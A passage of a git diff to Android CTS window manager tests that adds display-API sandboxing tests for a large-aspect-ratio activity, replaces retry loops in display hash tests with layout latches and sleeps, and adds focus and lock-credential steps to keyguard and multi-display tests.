 import android.provider.DeviceConfig.Properties;
 import android.server.wm.WindowManagerTestBase.FocusableActivity;
+import android.util.Size;
 
 import androidx.annotation.Nullable;
 import androidx.test.filters.FlakyTest;
@@ -66,10 +70,11 @@
  * atest CtsWindowManagerDeviceTestCases:CompatChangeTests
  */
 @Presubmit
-@FlakyTest(bugId = 190609681)
 public final class CompatChangeTests extends MultiDisplayTestBase {
     private static final ComponentName RESIZEABLE_PORTRAIT_ACTIVITY =
             component(ResizeablePortraitActivity.class);
+    private static final ComponentName RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY =
+            component(ResizeableLargeAspectRatioActivity.class);
     private static final ComponentName NON_RESIZEABLE_PORTRAIT_ACTIVITY =
             component(NonResizeablePortraitActivity.class);
     private static final ComponentName NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY =
@@ -83,8 +88,12 @@
     private static final float SIZE_COMPAT_DISPLAY_ASPECT_RATIO = 1.4f;
     // Fixed orientation min aspect ratio
     private static final float FIXED_ORIENTATION_MIN_ASPECT_RATIO = 1.03f;
-    // The min aspect ratio of NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY.
+    // The min aspect ratio of NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY (as defined in the manifest).
     private static final float ACTIVITY_MIN_ASPECT_RATIO = 1.6f;
+    // The min aspect ratio of NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY (as defined in the
+    // manifest). This needs to be higher than the aspect ratio of any device, which according to
+    // CDD is at most 21:9.
+    private static final float ACTIVITY_LARGE_MIN_ASPECT_RATIO = 3f;
 
     private static final float FLOAT_EQUALITY_DELTA = 0.01f;
 
@@ -173,7 +182,7 @@
      */
     @Test
     public void testSandboxForNonResizableAspectRatioActivity() {
-        runSandboxTest(/* isSandboxed= */ true);
+        runSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */ true);
     }
 
     /**
@@ -184,7 +193,7 @@
     @Test
     @EnableCompatChanges({ActivityInfo.NEVER_SANDBOX_DISPLAY_APIS})
     public void testSandboxForNonResizableAspectRatioActivityNeverSandboxDisplayApisEnabled() {
-        runSandboxTest(/* isSandboxed= */ false);
+        runSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */ false);
     }
 
     /**
@@ -197,7 +206,7 @@
         setNeverConstrainDisplayApisAllPackagesFlag("true");
         // Setting 'never_constrain_display_apis' as well to make sure it is ignored.
         setNeverConstrainDisplayApisFlag("com.android.other::");
-        runSandboxTest(/* isSandboxed= */ false);
+        runSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */ false);
     }
 
     /**
@@ -207,10 +216,10 @@
      */
     @Test
     public void testSandboxForNonResizableActivityPackageUnboundedInNeverSandboxDeviceConfigFlag() {
-        ComponentName activity = NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY;
+        ComponentName activity = NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY;
         setNeverConstrainDisplayApisFlag(
                 "com.android.other::," + activity.getPackageName() + "::");
-        runSandboxTest(/* isSandboxed= */ false);
+        runSandboxTest(activity, /* isSandboxed= */ false);
     }
 
     /**
@@ -220,12 +229,12 @@
      */
     @Test
     public void testSandboxForNonResizableActivityPackageWithinRangeInNeverSandboxDeviceConfig() {
-        ComponentName activity = NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY;
+        ComponentName activity = NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY;
         long version = getPackageVersion(activity);
         setNeverConstrainDisplayApisFlag(
                 "com.android.other::," + activity.getPackageName() + ":" + String.valueOf(
                         version - 1) + ":" + String.valueOf(version + 1));
-        runSandboxTest(/* isSandboxed= */ false);
+        runSandboxTest(activity, /* isSandboxed= */ false);
     }
 
     /**
@@ -235,12 +244,12 @@
      */
     @Test
     public void testSandboxForNonResizableActivityPackageOutsideRangeInNeverSandboxDeviceConfig() {
-        ComponentName activity = NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY;
+        ComponentName activity = NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY;
         long version = getPackageVersion(activity);
         setNeverConstrainDisplayApisFlag(
                 "com.android.other::," + activity.getPackageName() + ":" + String.valueOf(
                         version + 1) + ":");
-        runSandboxTest(/* isSandboxed= */ true);
+        runSandboxTest(activity, /* isSandboxed= */ true);
     }
 
     /**
@@ -251,7 +260,7 @@
     @Test
     public void testSandboxForNonResizableActivityPackageNotInNeverSandboxDeviceConfigFlag() {
         setNeverConstrainDisplayApisFlag("com.android.other::,com.android.other2::");
-        runSandboxTest(/* isSandboxed= */ true);
+        runSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */ true);
     }
 
     /**
@@ -261,7 +270,7 @@
     @Test
     public void testSandboxForNonResizableActivityNeverSandboxDeviceConfigFlagEmpty() {
         setNeverConstrainDisplayApisFlag("");
-        runSandboxTest(/* isSandboxed= */ true);
+        runSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */ true);
     }
 
     /**
@@ -271,21 +280,46 @@
      */
     @Test
     public void testSandboxForNonResizableActivityInvalidEntryInNeverSandboxDeviceConfigFlag() {
-        ComponentName activity = NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY;
+        ComponentName activity = NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY;
         setNeverConstrainDisplayApisFlag(
                 "com.android.other::," + activity.getPackageName() + ":::");
-        runSandboxTest(/* isSandboxed= */ true);
+        runSandboxTest(activity, /* isSandboxed= */ true);
+    }
+
+    /**
+     * Test that a min aspect ratio activity not eligible for size compat mode does have the
+     * Display APIs sandboxed when the {@link ActivityInfo#ALWAYS_SANDBOX_DISPLAY_APIS} compat
+     * change is enabled.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.ALWAYS_SANDBOX_DISPLAY_APIS})
+    public void testSandboxForResizableAspectRatioActivityAlwaysSandboxDisplayApisEnabled() {
+        runSandboxTest(RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */
+                true, /* inSizeCompatModeAfterResize= */ false);
+    }
+
+    /**
+     * Test that a min aspect ratio activity non eligible for size compat mode does not have the
+     * Display APIs sandboxed when the 'always_constrain_display_apis' Device Config flag is empty.
+     */
+    @Test
+    public void testSandboxResizableActivityAlwaysSandboxDeviceConfigFlagEmpty() {
+        setAlwaysConstrainDisplayApisFlag("");
+        runSandboxTest(RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */
+                false, /* inSizeCompatModeAfterResize= */ false);
     }
 
     /**
      * Test that a min aspect ratio activity eligible for size compat mode does have the Display
-     * APIs sandboxed when the {@link ActivityInfo#ALWAYS_SANDBOX_DISPLAY_APIS} compat change is
-     * enabled.
+     * APIs sandboxed when the 'always_constrain_display_apis' Device Config flag contains the test
+     * package.
      */
     @Test
-    @EnableCompatChanges({ActivityInfo.ALWAYS_SANDBOX_DISPLAY_APIS})
-    public void testSandboxForNonResizableAspectRatioActivityAlwaysSandboxDisplayApisEnabled() {
-        runSandboxTest(/* isSandboxed= */ true);
+    public void testSandboxResizableActivityPackageInAlwaysSandboxDeviceConfigFlag() {
+        ComponentName activity = RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY;
+        setAlwaysConstrainDisplayApisFlag(
+                "com.android.other::," + activity.getPackageName() + "::");
+        runSandboxTest(activity, /* isSandboxed= */ true, /* inSizeCompatModeAfterResize= */ false);
     }
 
     /**
@@ -425,20 +459,28 @@
         }
     }
 
+    private void runSandboxTest(ComponentName activity, boolean isSandboxed) {
+        runSandboxTest(activity, isSandboxed, /* inSizeCompatModeAfterResize= */ true);
+    }
+
     /**
      * Similar to {@link #runSizeCompatTest(ComponentName, boolean)}, but the activity is expected
      * to be in size compat mode after resizing the display.
      *
-     * @param isSandboxed when {@code true}, {@link android.app.WindowConfiguration#getMaxBounds()}
-     *                    are sandboxed to the activity bounds. Otherwise, they inherit the
-     *                    DisplayArea bounds
+     * @param activity                    the activity under test
+     * @param isSandboxed                 when {@code true}, {@link android.app.WindowConfiguration#getMaxBounds()}
+     *                                    are sandboxed to the activity bounds. Otherwise, they inherit the
+     *                                    DisplayArea bounds
+     * @param inSizeCompatModeAfterResize if the activity should be in size compat mode after
+     *                                    resizing the display
      */
-    private void runSandboxTest(boolean isSandboxed) {
-        ComponentName activity = NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY;
-        runSizeCompatTest(activity, /* resizeRatio= */ 0.5, /* inSizeCompatModeAfterResize=*/ true);
+    private void runSandboxTest(ComponentName activity, boolean isSandboxed,
+            boolean inSizeCompatModeAfterResize) {
+        assertThat(getInitialDisplayAspectRatio()).isLessThan(ACTIVITY_LARGE_MIN_ASPECT_RATIO);
+        runSizeCompatTest(activity, /* resizeRatio= */ 0.5, inSizeCompatModeAfterResize);
         assertSandboxed(activity, isSandboxed);
         restoreDisplay(activity);
-        runSizeCompatTest(activity, /* resizeRatio= */ 2, /* inSizeCompatModeAfterResize=*/ true);
+        runSizeCompatTest(activity, /* resizeRatio= */ 2, inSizeCompatModeAfterResize);
         assertSandboxed(activity, isSandboxed);
     }
 
@@ -469,10 +511,12 @@
                     () -> {
                         mInitialProperties = DeviceConfig.getProperties(
                                 NAMESPACE_CONSTRAIN_DISPLAY_APIS);
+                        try {
+                            DeviceConfig.setProperties(new Properties.Builder(
+                                    NAMESPACE_CONSTRAIN_DISPLAY_APIS).build());
+                        } catch (Exception e) {
+                        }
                     });
-            // Clear all flags
-            setNeverConstrainDisplayApisFlag(null);
-            setNeverConstrainDisplayApisAllPackagesFlag(null);
         }
 
         @Override
@@ -493,19 +537,21 @@
     }
 
     private void setNeverConstrainDisplayApisFlag(@Nullable String value) {
-        runWithShellPermission(
-                () -> {
-                    DeviceConfig.setProperty(NAMESPACE_CONSTRAIN_DISPLAY_APIS,
-                            "never_constrain_display_apis",
-                            value, /* makeDefault= */ false);
-                });
+        setConstrainDisplayApisFlag("never_constrain_display_apis", value);
     }
 
     private void setNeverConstrainDisplayApisAllPackagesFlag(@Nullable String value) {
+        setConstrainDisplayApisFlag("never_constrain_display_apis_all_packages", value);
+    }
+
+    private void setAlwaysConstrainDisplayApisFlag(@Nullable String value) {
+        setConstrainDisplayApisFlag("always_constrain_display_apis", value);
+    }
+
+    private void setConstrainDisplayApisFlag(String flagName, @Nullable String value) {
         runWithShellPermission(
                 () -> {
-                    DeviceConfig.setProperty(NAMESPACE_CONSTRAIN_DISPLAY_APIS,
-                            "never_constrain_display_apis_all_packages",
+                    DeviceConfig.setProperty(NAMESPACE_CONSTRAIN_DISPLAY_APIS, flagName,
                             value, /* makeDefault= */ false);
                 });
     }
@@ -569,9 +615,15 @@
      * Resize the display and ensure configuration changes are complete.
      */
     private void resizeDisplay(ComponentName activity, double sizeRatio) {
+        Size originalDisplaySize = mDisplayMetricsSession.getInitialDisplayMetrics().getSize();
         final Rect originalTaskBounds = mWmState.getTaskByActivity(activity).getBounds();
         mDisplayMetricsSession.changeDisplayMetrics(sizeRatio, /* densityRatio= */ 1);
         mWmState.computeState(new WaitForValidActivityState(activity));
+
+        Size currentDisplaySize = mDisplayMetricsSession.getDisplayMetrics().getSize();
+        assumeFalse("If a display size is capped, resizing may be a no-op",
+            originalDisplaySize.equals(currentDisplaySize));
+
         // Ensure configuration changes are complete after resizing the display.
         waitForTaskBoundsChanged(activity, originalTaskBounds);
     }
@@ -595,6 +647,12 @@
                 / (float) (Math.min(bounds.height(), bounds.width()));
     }
 
+    private float getInitialDisplayAspectRatio() {
+        Size size = mDisplayMetricsSession.getInitialDisplayMetrics().getSize();
+        return Math.max(size.getHeight(), size.getWidth())
+                / (float) (Math.min(size.getHeight(), size.getWidth()));
+    }
+
     private void launchActivity(ComponentName activity) {
         getLaunchActivityBuilder()
                 .setDisplayId(DEFAULT_DISPLAY)
@@ -619,6 +677,9 @@
     public static class ResizeablePortraitActivity extends FocusableActivity {
     }
 
+    public static class ResizeableLargeAspectRatioActivity extends FocusableActivity {
+    }
+
     public static class NonResizeablePortraitActivity extends FocusableActivity {
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
index ed0f7d5..2c70edc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
@@ -40,6 +40,7 @@
 import android.platform.test.annotations.Presubmit;
 import android.view.Gravity;
 import android.view.View;
+import android.view.ViewTreeObserver;
 import android.view.WindowManager;
 import android.view.displayhash.DisplayHash;
 import android.view.displayhash.DisplayHashManager;
@@ -60,7 +61,6 @@
 import org.junit.Test;
 
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
@@ -68,7 +68,12 @@
 
 @Presubmit
 public class DisplayHashManagerTest {
-    private static final int MAX_RETRIES = 3;
+    //TODO (b/195136026): There's currently know way to know when the buffer has been drawn in
+    // SurfaceFlinger. Use sleep for now to make sure it's been drawn. Once b/195136026 is
+    // completed, port this code to listen for the transaction complete so we can be sure the buffer
+    // has been latched.
+    private static final int SLEEP_TIME_MS = 1000;
+
     private final Point mTestViewSize = new Point(200, 300);
 
     private Instrumentation mInstrumentation;
@@ -128,35 +133,15 @@
 
     @Test
     public void testGenerateAndVerifyDisplayHash() {
-        mInstrumentation.runOnMainSync(() -> {
-            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
-                    mTestViewSize.y);
-            mTestView = new View(mActivity);
-            mTestView.setBackgroundColor(Color.BLUE);
-            mMainView.addView(mTestView, p);
-            mMainView.invalidate();
-        });
-        mInstrumentation.waitForIdleSync();
+        setupChildView();
 
-        int retryCount = 0;
         // A solid color image has expected hash of all 0s
         byte[] expectedImageHash = new byte[8];
-        VerifiedDisplayHash verifiedDisplayHash = null;
 
-        // Sometimes the app can still be launching when generating a display hash. This could
-        // result in a different image hash. Give the test a few tries to let the activity settle.
-        while (retryCount < MAX_RETRIES && (verifiedDisplayHash == null ||
-                !Arrays.equals(expectedImageHash, verifiedDisplayHash.getImageHash()))) {
-            DisplayHash displayHash = generateDisplayHash(null);
-
-            verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(displayHash);
-            assertNotNull(verifiedDisplayHash);
-            retryCount++;
-            try {
-                Thread.sleep(100);
-            } catch (InterruptedException e) {
-            }
-        }
+        DisplayHash displayHash = generateDisplayHash(null);
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+        assertNotNull(verifiedDisplayHash);
 
         assertEquals(mTestViewSize.x, verifiedDisplayHash.getBoundsInWindow().width());
         assertEquals(mTestViewSize.y, verifiedDisplayHash.getBoundsInWindow().height());
@@ -165,15 +150,7 @@
 
     @Test
     public void testGenerateAndVerifyDisplayHash_BoundsInView() {
-        mInstrumentation.runOnMainSync(() -> {
-            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
-                    mTestViewSize.y);
-            mTestView = new View(mActivity);
-            mTestView.setBackgroundColor(Color.BLUE);
-            mMainView.addView(mTestView, p);
-            mMainView.invalidate();
-        });
-        mInstrumentation.waitForIdleSync();
+        setupChildView();
 
         Rect bounds = new Rect(10, 20, mTestViewSize.x / 2, mTestViewSize.y / 2);
         DisplayHash displayHash = generateDisplayHash(new Rect(bounds));
@@ -187,15 +164,8 @@
 
     @Test
     public void testGenerateAndVerifyDisplayHash_EmptyBounds() {
-        mInstrumentation.runOnMainSync(() -> {
-            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
-                    mTestViewSize.y);
-            mTestView = new View(mActivity);
-            mTestView.setBackgroundColor(Color.BLUE);
-            mMainView.addView(mTestView, p);
-            mMainView.invalidate();
-        });
-        mInstrumentation.waitForIdleSync();
+        setupChildView();
+
         mTestView.generateDisplayHash(mPhashAlgorithm, new Rect(), mExecutor,
                 mSyncDisplayHashResultCallback);
 
@@ -205,15 +175,7 @@
 
     @Test
     public void testGenerateAndVerifyDisplayHash_BoundsBiggerThanView() {
-        mInstrumentation.runOnMainSync(() -> {
-            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
-                    mTestViewSize.y);
-            mTestView = new View(mActivity);
-            mTestView.setBackgroundColor(Color.BLUE);
-            mMainView.addView(mTestView, p);
-            mMainView.invalidate();
-        });
-        mInstrumentation.waitForIdleSync();
+        setupChildView();
 
         Rect bounds = new Rect(0, 0, mTestViewSize.x + 100, mTestViewSize.y + 100);
 
@@ -228,15 +190,7 @@
 
     @Test
     public void testGenerateDisplayHash_BoundsOutOfView() {
-        mInstrumentation.runOnMainSync(() -> {
-            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
-                    mTestViewSize.y);
-            mTestView = new View(mActivity);
-            mTestView.setBackgroundColor(Color.BLUE);
-            mMainView.addView(mTestView, p);
-            mMainView.invalidate();
-        });
-        mInstrumentation.waitForIdleSync();
+        setupChildView();
 
         Rect bounds = new Rect(mTestViewSize.x + 1, mTestViewSize.y + 1, mTestViewSize.x + 100,
                 mTestViewSize.y + 100);
@@ -249,16 +203,27 @@
 
     @Test
     public void testGenerateDisplayHash_ViewOffscreen() {
+        final CountDownLatch viewLayoutLatch = new CountDownLatch(2);
         mInstrumentation.runOnMainSync(() -> {
             final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
                     mTestViewSize.y);
             mTestView = new View(mActivity);
             mTestView.setBackgroundColor(Color.BLUE);
             mTestView.setX(-mTestViewSize.x);
+
+            ViewTreeObserver viewTreeObserver = mTestView.getViewTreeObserver();
+            viewTreeObserver.addOnGlobalLayoutListener(viewLayoutLatch::countDown);
+            viewTreeObserver.registerFrameCommitCallback(viewLayoutLatch::countDown);
+
             mMainView.addView(mTestView, p);
             mMainView.invalidate();
         });
         mInstrumentation.waitForIdleSync();
+        try {
+            viewLayoutLatch.await(5, TimeUnit.SECONDS);
+            Thread.sleep(SLEEP_TIME_MS);
+        } catch (InterruptedException e) {
+        }
 
         mTestView.generateDisplayHash(mPhashAlgorithm, null, mExecutor,
                 mSyncDisplayHashResultCallback);
@@ -272,6 +237,7 @@
         final WindowManager wm = mActivity.getWindowManager();
         final WindowManager.LayoutParams windowParams = new WindowManager.LayoutParams();
 
+        final CountDownLatch viewLayoutLatch = new CountDownLatch(2);
         mInstrumentation.runOnMainSync(() -> {
             mMainView = new RelativeLayout(mActivity);
             windowParams.width = mTestViewSize.x;
@@ -284,9 +250,19 @@
                     mTestViewSize.y);
             mTestView = new View(mActivity);
             mTestView.setBackgroundColor(Color.BLUE);
+
+            ViewTreeObserver viewTreeObserver = mTestView.getViewTreeObserver();
+            viewTreeObserver.addOnGlobalLayoutListener(viewLayoutLatch::countDown);
+            viewTreeObserver.registerFrameCommitCallback(viewLayoutLatch::countDown);
+
             mMainView.addView(mTestView, p);
         });
         mInstrumentation.waitForIdleSync();
+        try {
+            viewLayoutLatch.await(5, TimeUnit.SECONDS);
+            Thread.sleep(SLEEP_TIME_MS);
+        } catch (InterruptedException e) {
+        }
 
         generateDisplayHash(null);
 
@@ -306,15 +282,7 @@
 
     @Test
     public void testGenerateDisplayHash_InvalidHashAlgorithm() {
-        mInstrumentation.runOnMainSync(() -> {
-            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
-                    mTestViewSize.y);
-            mTestView = new View(mActivity);
-            mTestView.setBackgroundColor(Color.BLUE);
-            mMainView.addView(mTestView, p);
-            mMainView.invalidate();
-        });
-        mInstrumentation.waitForIdleSync();
+        setupChildView();
 
         mTestView.generateDisplayHash("fake hash", null, mExecutor,
                 mSyncDisplayHashResultCallback);
@@ -324,15 +292,7 @@
 
     @Test
     public void testVerifyDisplayHash_ValidDisplayHash() {
-        mInstrumentation.runOnMainSync(() -> {
-            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
-                    mTestViewSize.y);
-            mTestView = new View(mActivity);
-            mTestView.setBackgroundColor(Color.BLUE);
-            mMainView.addView(mTestView, p);
-            mMainView.invalidate();
-        });
-        mInstrumentation.waitForIdleSync();
+        setupChildView();
 
         DisplayHash displayHash = generateDisplayHash(null);
         VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
@@ -347,15 +307,7 @@
 
     @Test
     public void testVerifyDisplayHash_InvalidDisplayHash() {
-        mInstrumentation.runOnMainSync(() -> {
-            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
-                    mTestViewSize.y);
-            mTestView = new View(mActivity);
-            mTestView.setBackgroundColor(Color.BLUE);
-            mMainView.addView(mTestView, p);
-            mMainView.invalidate();
-        });
-        mInstrumentation.waitForIdleSync();
+        setupChildView();
 
         DisplayHash displayHash = generateDisplayHash(null);
         DisplayHash fakeDisplayHash = new DisplayHash(
@@ -387,15 +339,7 @@
         SystemUtil.runWithShellPermissionIdentity(
                 () -> mDisplayHashManager.setDisplayHashThrottlingEnabled(true));
 
-        mInstrumentation.runOnMainSync(() -> {
-            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
-                    mTestViewSize.y);
-            mTestView = new View(mActivity);
-            mTestView.setBackgroundColor(Color.BLUE);
-            mMainView.addView(mTestView, p);
-            mMainView.invalidate();
-        });
-        mInstrumentation.waitForIdleSync();
+        setupChildView();
 
         mTestView.generateDisplayHash(mPhashAlgorithm, null, mExecutor,
                 mSyncDisplayHashResultCallback);
@@ -410,6 +354,7 @@
 
     @Test
     public void testGenerateAndVerifyDisplayHash_MultiColor() {
+        final CountDownLatch viewLayoutLatch = new CountDownLatch(2);
         mInstrumentation.runOnMainSync(() -> {
             final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
                     mTestViewSize.y);
@@ -428,53 +373,62 @@
             linearLayout.addView(redView, redParams);
             mTestView = linearLayout;
 
+            ViewTreeObserver viewTreeObserver = mTestView.getViewTreeObserver();
+            viewTreeObserver.addOnGlobalLayoutListener(viewLayoutLatch::countDown);
+            viewTreeObserver.registerFrameCommitCallback(viewLayoutLatch::countDown);
+
             mMainView.addView(mTestView, p);
             mMainView.invalidate();
         });
         mInstrumentation.waitForIdleSync();
-
-        int retryCount = 0;
-        byte[] expectedImageHash = new byte[]{-1, -1, 127, -1, -1, -1, 127, 127};
-        VerifiedDisplayHash verifiedDisplayHash = null;
-
-        // Sometimes the app can still be launching when generating a display hash. This could
-        // result in a different image hash. Give the test a few tries to let the activity settle.
-        while (retryCount < MAX_RETRIES && (verifiedDisplayHash == null ||
-                !Arrays.equals(expectedImageHash, verifiedDisplayHash.getImageHash()))) {
-            DisplayHash displayHash = generateDisplayHash(null);
-
-            verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(displayHash);
-            assertNotNull(verifiedDisplayHash);
-            retryCount++;
-            try {
-                Thread.sleep(100);
-            } catch (InterruptedException e) {
-            }
+        try {
+            viewLayoutLatch.await(5, TimeUnit.SECONDS);
+            Thread.sleep(SLEEP_TIME_MS);
+        } catch (InterruptedException e) {
         }
 
+        byte[] expectedImageHash = new byte[]{-1, -1, 127, -1, -1, -1, 127, 127};
+
+        DisplayHash displayHash = generateDisplayHash(null);
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+        assertNotNull(verifiedDisplayHash);
+
         assertEquals(mTestViewSize.x, verifiedDisplayHash.getBoundsInWindow().width());
         assertEquals(mTestViewSize.y, verifiedDisplayHash.getBoundsInWindow().height());
         assertArrayEquals(expectedImageHash, verifiedDisplayHash.getImageHash());
     }
 
     private DisplayHash generateDisplayHash(Rect bounds) {
-        DisplayHash displayHash = null;
-        int retryCount = 0;
-        while (displayHash == null && retryCount < MAX_RETRIES) {
-            mTestView.generateDisplayHash(mPhashAlgorithm, bounds, mExecutor,
-                    mSyncDisplayHashResultCallback);
-            displayHash = mSyncDisplayHashResultCallback.getDisplayHash();
-            retryCount++;
-            try {
-                Thread.sleep(100);
-            } catch (InterruptedException e) {
-            }
-        }
+        mTestView.generateDisplayHash(mPhashAlgorithm, bounds, mExecutor,
+                mSyncDisplayHashResultCallback);
+        DisplayHash displayHash = mSyncDisplayHashResultCallback.getDisplayHash();
 
         assertNotNull(displayHash);
         return displayHash;
     }
 
+    private void setupChildView() {
+        final CountDownLatch viewLayoutLatch = new CountDownLatch(2);
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            ViewTreeObserver viewTreeObserver = mTestView.getViewTreeObserver();
+            viewTreeObserver.addOnGlobalLayoutListener(viewLayoutLatch::countDown);
+            viewTreeObserver.registerFrameCommitCallback(viewLayoutLatch::countDown);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+        try {
+            viewLayoutLatch.await(5, TimeUnit.SECONDS);
+            Thread.sleep(SLEEP_TIME_MS);
+        } catch (InterruptedException e) {
+        }
+    }
+
     public static class TestActivity extends Activity {
         private final ArrayList<View> mViews = new ArrayList<>();
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index ab2a53c..b03e453 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -164,17 +164,21 @@
                         .setTargetActivity(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY));
 
         mWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY, SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY);
-        mWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, false);
         mWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY, true);
+        mWmState.assertFocusedActivity("Launching Activity must be focused",
+                SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY);
         lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY);
 
-        mWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, false);
         mWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY, true);
+        mWmState.assertFocusedActivity("Top activity stay un-change",
+                SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY);
         mWmState.assertKeyguardShowingAndOccluded();
 
         showWhenLockedActivitySession.finish();
         mWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
         mWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+        mWmState.assertFocusedActivity("ShowWhenLocked activity must occludes keyguard",
+                SHOW_WHEN_LOCKED_ACTIVITY);
         mWmState.assertKeyguardShowingAndOccluded();
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index d57c3bb..22d449c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -519,6 +519,10 @@
 
     private void validateStackFocusSwitchOnStackEmptied(VirtualDisplaySession virtualDisplaySession,
             LockScreenSession lockScreenSession) {
+        if (lockScreenSession != null) {
+            lockScreenSession.setLockCredential();
+        }
+
         // Create new virtual display.
         final DisplayContent newDisplay = virtualDisplaySession.createDisplay();
         mWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
@@ -538,7 +542,7 @@
 
         if (lockScreenSession != null) {
             // Unlock and check if the focus is switched back to primary display.
-            lockScreenSession.wakeUpDevice().unlockDevice();
+            lockScreenSession.wakeUpDevice().enterAndConfirmLockCredential();
         }
 
         waitAndAssertTopResumedActivity(VIRTUAL_DISPLAY_ACTIVITY, DEFAULT_DISPLAY,
@@ -833,10 +837,12 @@
                 mWmState.getResumedActivitiesCountInPackage(
                         SDK_27_LAUNCHING_ACTIVITY.getPackageName()));
 
+        // Start SeparateProcessActivity in the same task as LaunchingActivity by setting
+        // allowMultipleInstances to false, and the TestActivity should be resumed.
         getLaunchActivityBuilder().setUseInstrumentation()
                 .setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY).setNewTask(true)
                 .setDisplayId(DEFAULT_DISPLAY).setWindowingMode(WINDOWING_MODE_FULLSCREEN)
-                .execute();
+                .allowMultipleInstances(false).execute();
         waitAndAssertTopResumedActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY, DEFAULT_DISPLAY,
                 "Activity launched on default display must be resumed and focused");
         assertTrue("Activity that was on secondary display must be resumed",
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 8dbc12c..63526cf 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
